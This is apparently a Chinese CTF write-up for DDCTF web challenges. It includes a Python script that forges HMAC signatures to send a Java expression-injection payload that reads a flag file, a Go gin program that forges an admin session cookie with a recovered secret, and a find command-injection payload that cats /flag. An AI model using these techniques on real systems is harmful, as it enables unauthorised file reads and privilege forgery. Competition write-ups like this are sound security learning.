Web签到

图片

图片

下载client发现是用来传参通信的

图片

提示了sign格式,首先根据时间戳算出sign的算法,并且发现报错页面是java的框架,参考de1 calc,直接new实例读flag

import base64
import hmac
from hashlib import sha256
import requests
import time
import json

def getsign(command,timestamp):
    # timestamp = b'1599225814'
    #print(timestamp)
    key = b"DDCTFWithYou"
    data = "{}|".format(command).encode() + str(timestamp).encode()
    s = hmac.new(key, data, digestmod=sha256).digest() # hmac-sha256
    b64 = base64.b64encode(s) #base64(hmac-sha256)
    #print(s)
    #print(data)
    return b64.decode()

def reqs(command):
    url = 'http://117.51.136.197/server/command'
    #command='''${7*7}'''
    timestamp = int(time.time())
    sign = getsign(command,timestamp)
    data = {
        'signature':sign,
        'command':"%s" % command,
        'timestamp':'%s' % timestamp
    }
    #print(data)
    res = requests.post(url, data=json.dumps(data))
    print(res.text)

l = ["(NEW java.io.BufferedReader(NEW java.io.FileReader('/home/dc2-user/flag/flag.txt'))).readLine()"]
for i in l:
    r=reqs(i)
    print(i+"\n")

图片

DDCTF{Q24uf486whGOWN44UtZCjYUgdnnnRaVs}

卡片商店

整形溢出

图片

买礼物

图片

脑洞题,==

cookie gin key,gin是一个golang框架,本地搭一个解密一下,session.Clear可以遍历,在前面加一个fmt.Println(key)然后运行,替换session

package main
import (

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)
func main() {
    r := gin.Default()
    store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
    r.Use(sessions.Sessions("session", store))
    r.GET("/hello", func(c *gin.Context) {
        session := sessions.Default(c)
        session.Clear()
        session.Set("admin",true)
        session.Save()
        c.JSON(200, gin.H{"hello": session.Get("hello")})
    })
    r.Run(":8000")
}

图片

然后把admin值设置为true

session.Set("admin",true)

图片

图片

overwrite me

装了gmp拓展,在php<5.6.11有一个修改对象属性的洞:

图片

不过这里可以对find进行命令注入

https://www.anquanke.com/post/id/216694#h2-4

find / -exec cat /flag \;
分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*

code